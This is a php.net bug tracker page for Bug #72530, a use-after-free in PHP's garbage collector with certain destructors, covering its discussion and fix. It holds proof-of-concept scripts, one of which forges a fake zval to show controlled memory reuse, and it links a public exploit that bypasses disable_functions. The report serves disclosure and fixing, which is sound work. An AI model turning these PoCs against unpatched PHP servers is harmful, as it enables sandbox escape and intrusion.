php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #72530 Use After Free in GC with Certain Destructors
Submitted: 2016-07-01 16:26 UTC Modified: 2020-02-13 12:01 UTC
Votes:6
Avg. Score:4.3 ± 0.7
Reproduced:4 of 4 (100.0%)
Same Version:0 (0.0%)
Same OS:0 (0.0%)
From: taoguangchen at icloud dot com Assigned: dmitry (profile)
Status: Closed Package: *General Issues
PHP Version: 5.6.29 OS:
Private report: No CVE-ID: None
Welcome back! If you're the original bug submitter, here's where you can edit the bug or add additional notes.
If this is not your bug, you can add a comment by following this link.
If this is your bug, but you forgot your password, you can retrieve your password here.
Password:
Status:
Package:
Bug Type:
Summary:
From: taoguangchen at icloud dot com
New email:
PHP Version: OS:

Further comment on this bug is unnecessary.

 

 [2016-07-01 16:26 UTC] taoguangchen at icloud dot com
Description:
------------
Use After Free in unserialize() with GC

PoC:
```
$poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
$out = unserialize($poc);
gc_collect_cycles();
$fakezval = ptr2str(1122334455);
$fakezval .= ptr2str(0);
$fakezval .= "\x00\x00\x00\x00";
$fakezval .= "\x01";
$fakezval .= "\x00";
$fakezval .= "\x00\x00";
for ($i = 0; $i < 5; $i++) {
	$v[$i] = $fakezval.$i;
}
var_dump($out[2]);

class ryat
{
	var $ryat;
	var $chtg;
	
	function __destruct()
	{
		$this->chtg = $this->ryat;
	}
}

function ptr2str($ptr)
{
	$out = '';
	for ($i = 0; $i < 8; $i++) {
		$out .= chr($ptr & 0xff);
		$ptr >>= 8;
	}
	return $out;
}
```

Expected result:
```
int(2)
```

Actual result:
```
array(1) {
  [0]=>
  int(1122334455)
}
```

Fix (This fix may break some test scripts):
```
"R:" iv ";"		{
	...
	*rval = *rval_ref;
+	if (Z_REFCOUNT_PP(rval_ref) == 1) {
+		Z_ADDREF_PP(rval_ref);
+	}
	Z_ADDREF_PP(rval);
	Z_SET_ISREF_PP(rval);
```


Patches

alfa (last revision 2019-11-09 17:22 UTC by asdaaa at gmail dot com)

Add a Patch

Pull Requests

Pull requests:

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-07-02 01:09 UTC] taoguangchen at icloud dot com
update fix, and fix other bugs:
```
	var_push_dtor_no_addref(var_hash, rval);
	}
	*rval = *rval_ref;
+	Z_ADDREF_PP(rval_ref);
+	if (Z_REFCOUNT_PP(rval) > 1) {
+		SEPARATE_ZVAL_IF_NOT_REF(rval);
+	}
	Z_ADDREF_PP(rval);
	Z_SET_ISREF_PP(rval);
```
 [2016-07-02 08:19 UTC] stas@php.net
-Type: Security +Type: Bug -PHP Version: 5.5.37 +PHP Version: 5.6.23
 [2016-07-02 08:19 UTC] stas@php.net
I don't think this qualifies as security issue - since you need specially crafter destructor.
 [2017-01-01 18:47 UTC] nikic@php.net
In PHP 7.0+ this results in:

array(1) {
  [0]=>
  object(ryat)#1 (2) {
    ["ryat"]=>
    array(1) {
      [0]=>
      *RECURSION*
    }
    ["chtg"]=>
    &array(1) {
      [0]=>
      *RECURSION*
    }
  }
}

I believe this output is correct, as the following code (to which the unserialize should roughly correspond) has the same output:

$a = [];
$a[0] = 1;
$o = new ryat;
$o->ryat =& $a[1];
$o->chtg = 2;
$a[1] = [$o];
unset($a[1]);
$a[1] = 3;
$a[2] =& $o->chtg;
unset($o);
gc_collect_cycles();
var_dump($a[2]);

This also shows that the issue is not related to unserialize(), but rather to GC with certain destructors. The GC problem has been fixed in 7.0 (and won't be fixed in 5.6), so closing here.
 [2017-01-01 18:47 UTC] nikic@php.net
-Status: Open +Status: Closed -Assigned To: +Assigned To: nikic
 [2017-01-02 06:56 UTC] taoguangchen at icloud dot com
-Status: Closed +Status: Assigned -PHP Version: 5.6.23 +PHP Version: 5.6.29
 [2017-01-02 06:56 UTC] taoguangchen at icloud dot com
@nikic

Unfortunately, the bug was still unfixed in PHP 7.x, you can test the following code:
```
$poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
$out = unserialize($poc);
gc_collect_cycles();
for ($i = 0; $i < 5; $i++) {
	$v[$i] = 'hi'.$i;
}
var_dump($out[2]);

class ryat
{
	var $ryat;
	var $chtg;
	
	function __destruct()
	{
		$this->chtg = $this->ryat;
		$this->ryat = 1;
	}
}
```
 [2017-01-02 07:03 UTC] taoguangchen at icloud dot com
-Summary: Use After Free in unserialize() with GC +Summary: Use After Free in GC with Certain Destructors
 [2017-01-02 07:03 UTC] taoguangchen at icloud dot com
The bug is related to GC with certain destructors, but trigged easily via unserialize().
 [2017-01-02 12:13 UTC] nikic@php.net
-Status: Assigned +Status: Open
 [2017-01-02 12:13 UTC] nikic@php.net
Right, issue not fully fixed :( Here's a reduced testcase without unserialize (generates memory errors under valgrind):

<?php

class ryat {
    var $ryat;
    var $chtg;

    function __destruct() {
        $this->chtg = $this->ryat;
        $this->ryat = 1;
    }
}

$o = new ryat;
$o->ryat = $o;
$x =& $o->chtg;

unset($o);
gc_collect_cycles();
var_dump($x);

The problem is that the GC uses refcount to check whether a new reference has been added during destruction. However, in this case refcount of object(ryat) stays the same, while a reference to it still becomes externally visible.
 [2017-01-09 20:47 UTC] nikic@php.net
-Assigned To: nikic +Assigned To: dmitry
 [2017-01-09 20:47 UTC] nikic@php.net
@dmitry: Can you please take a look at this issue? The GC code for dealing with references added during __destruct() is not entirely correct, even in PHP 7, because the refcount check is insufficient to detect new outside reference. I don't see any simple fix for this problem :/
 [2019-08-01 11:02 UTC] nikic@php.net
The following pull request has been associated:

Patch Name: Fix handling of destructors during GC
On GitHub:  https://github.com/php/php-src/pull/4489
Patch:      https://github.com/php/php-src/pull/4489.patch
 [2019-08-13 12:54 UTC] nikic@php.net
Automatic comment on behalf of nikita.ppv@gmail.com
Revision: http://git.php.net/?p=php-src.git;a=commit;h=60a7e60b61b8e4a3d455974c83f76a26546ce117
Log: Fixed bug #72530
 [2019-08-13 12:54 UTC] nikic@php.net
-Status: Assigned +Status: Closed
 [2019-08-13 12:55 UTC] nikic@php.net
Automatic comment on behalf of nikita.ppv@gmail.com
Revision: http://git.php.net/?p=php-src.git;a=commit;h=60a7e60b61b8e4a3d455974c83f76a26546ce117
Log: Fixed bug #72530
 [2019-10-06 07:45 UTC] alexanderpas at gmail dot com
This bug is publicly referenced as the cause in the following exploit bypassing disable_functions()

https://github.com/mm0r1/exploits/tree/master/php7-gc-bypass
 [2019-11-09 17:22 UTC] asdaaa at gmail dot com
The following patch has been added/updated:

Patch Name: alfa
Revision:   1573320152
URL:        https://bugs.php.net/patch-display.php?bug=72530&patch=alfa&revision=1573320152
 [2020-02-13 11:57 UTC] ben at redsnapper dot net
Why is there no CVE attached to this?
disable_functions is a complete waste of time until this is patched.
 [2020-02-13 12:01 UTC] nikic@php.net
-Block user comment: No +Block user comment: Yes
 [2020-02-13 12:01 UTC] nikic@php.net
@ben at redsnapper dot net: This issue has already been fixed a few months ago. There is no CVE, because this issue cannot be exploited remotely.
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Thu Mar 28 09:01:26 2024 UTC